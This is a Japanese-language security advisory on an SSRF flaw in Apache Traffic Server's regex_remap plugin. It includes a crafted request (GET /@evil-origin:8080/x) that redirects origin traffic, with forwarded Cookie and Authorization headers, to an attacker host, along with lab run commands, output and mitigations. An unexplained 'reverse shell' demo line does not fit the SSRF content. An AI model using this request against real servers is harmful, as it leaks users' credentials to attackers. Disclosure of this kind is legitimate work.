abraxaslabs.tech · github.com/abraxas · @abraxas_null · [email protected] · ats-regex-remap-userinfo
クラス: SSRF 到達範囲: リモート
Apache Traffic Server 10.2.0 (b1df7334) - Apache Software Foundation
regex_remap の $n 置換は文字列に連結され、TSUrlParse に渡されます。TSUrlParse は url_clear の後、完全な URL として解析します。@ で始まるキャプチャは RFC 3986 の userinfo であるため、オペレータのオリジンが userinfo になり、攻撃者のホストがオリジンになります。Cookie と Authorization は ATS の uid として転送されます。
残るのは http://origin:port$1(スラッシュなし)です。ドキュメントに記載された http://origin/$1 は、スラッシュが authority を終端させるため、オペレータのオリジンにとどまります。プラグインはデフォルトではロードされません。
これは CVE-2026-58179(url_len VLA、現在は LocalBuffer)ではなく、CVE-2026-22068(コアの regex_map は完全アンカー)でもありません。
| ID | CVE 未割当 |
| クラス | SSRF |
| 到達範囲 | リモート(未認証 HTTP) |
| CWE | CWE-918 |
| CVSS | High: 8.6 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N |
| 製品 | Apache Traffic Server |
| 影響対象 | 10.2.0 (b1df7334b39a878971c376da849e8da4984918b6) regex_remap.so スラッシュなし $n |
| 認証 | なし。プラグインはロード済み。置換 http://origin:port$1。 |
| ライセンス | GNU Affero GPL v3.0 |
| ラボ | 127.0.0.1:18730 のみ。イメージ ats-10.2.0-lab:local。 |
タグ 10.2.0、コミット b1df7334b39a878971c376da849e8da4984918b6 に固定しました。ソースからビルドしたイメージです。
vhost の remap が regex_remap.so をロードし、host:port の直後にスラッシュなしで $n を置いている場合、未認証 HTTP で攻撃できます。
| 手法 | シンク | 権限 |
|---|---|---|
置換 http://good-origin:8080$1 に対して GET /@evil-origin:8080/x | url_clear 後の TSUrlParse(regex_remap.cc:1159-1168、URL.cc:1313-1327) | 整合性 / SSRF(ラボで実証済み): ATS は evil-origin:8080 をオリジンとして接続します(userinfo=good-origin:8080)。Cookie と Authorization が転送されます。 |
| 同上 | 攻撃者オリジンのボディ | 偵察(ラボで実証済み): ATS-REGEX-REMAP-USERINFO-WITNESS がクライアントに返されます。cookie-fwd=True authorization-fwd=True。 |
ドキュメント記載の置換 http://good-origin:8080/$1 | authority は / で終端 | クローズ(ラボで実証済み): good-origin にとどまりました。 |
置換 http://$1 | オペレータが $n を authority に置いた場合 | SSRF(ラボで実証済み): これも evil-origin に到達しました。別種のオペレータのミスです。 |
ラボで実証済み vs 推測: スラッシュなしの残存、ドキュメント記載のスラッシュはとどまる、dollar-at / dollar-host も evil に到達、Cookie と Authorization が転送される、good-origin 上の制御 /ok はラボで確認済み。攻撃者オリジンがこれらのヘッダで何を行えるかは、そのホストが元々何であるかによります。
必要条件: regex_remap プラグイン。置換 http://origin:port$1(スラッシュなし)のマップ。remap_required は 1 のままでした(オープンリレーではありません)。
| 面 | ラボ |
|---|---|
ドキュメント記載の http://origin/$1 | slash=good |
コアの regex_map ホスト | RE_ANCHORED|RE_ENDANCHORED(CVE-2026-22068 はクローズ) |
| url_len スタック | LocalBuffer(CVE-2026-58179 はクローズ) |
remap_required: 0 のオープンリレー | 未使用 |
制御 GET /ok | good-origin、witness なし |
regex_remap は $n から dest 文字列を構築し、その全体に対して TSUrlParse を呼び出します。URL.cc の @ は userinfo です。http://good-origin:8080 + @evil-origin:8080/x を連結すると、パーサーは RFC 3986 のとおりに動作します。
まずドキュメントに記載された形式を試しました。http://good-origin:8080/$1 にパス /@evil-origin:8080/x を渡すと http://good-origin:8080/@evil-origin:8080/x になります。スラッシュで authority が終了します。good-origin のままです。これは残存する問題ではありません。
次に http://good-origin:8080$1(スラッシュなし)。dest は http://good-origin:8080@evil-origin:8080/x になります。userinfo=good-origin:8080、host=evil-origin。evil origin 上での証拠です。Cookie と Authorization も一緒に付いてきました。
誤った方向性:ドキュメント記載のスラッシュ形式を問題として報告すること;コアの regex_map をこのプラグインと同一視すること;url_len VLA を過大評価すること(修正済み);http://$1 を唯一の残存問題とみなすこと(これは2つ目のオペレータの誤りであり、スラッシュなしのものではありません)。
実演:リバースシェル。オラクルは origin のボディに加え、転送された Cookie / Authorization です。
python3 ats-regex-remap-userinfo-Abraxas-Labs.py
または
cd lab
./run.sh
ループバック 127.0.0.1:18730(evil オリジンも 18731 で公開)。Compose プロジェクト ats-regex-remap-userinfo。イメージ ats-10.2.0-lab:local。3 つの vhost: slash / noslash / dollar。ウィットネス ATS-REGEX-REMAP-USERINFO-WITNESS。最終行:
SUCCESS ats-regex-remap-userinfo shape=noslash leftover=noslash http://good-origin:8080$1 (userinfo=good-origin:8080 host=evil-origin) slash=good noslash=evil dollar-at=evil dollar-host=evil cookie-fwd=True authorization-fwd=True control=/ok ATS-REGEX-REMAP-USERINFO-WITNESS
$n を authority に連結しないでください。ホストとキャプチャの間にスラッシュを残すか、subst をパスのみとして解析してください。ホストがオペレーターのオリジンでない dest は拒否してください。プラグインが構築した URL から userinfo を除去してください。ドキュメントは、http://origin/$1 がオペレーターが記述する唯一の形式であるかのような示唆をやめるべきです。
b1df7334b39a878971c376da849e8da4984918b6)regex_remap.cc subst 後の TSUrlParseURL.cc @ userinfoInkAPI.cc TSUrlParse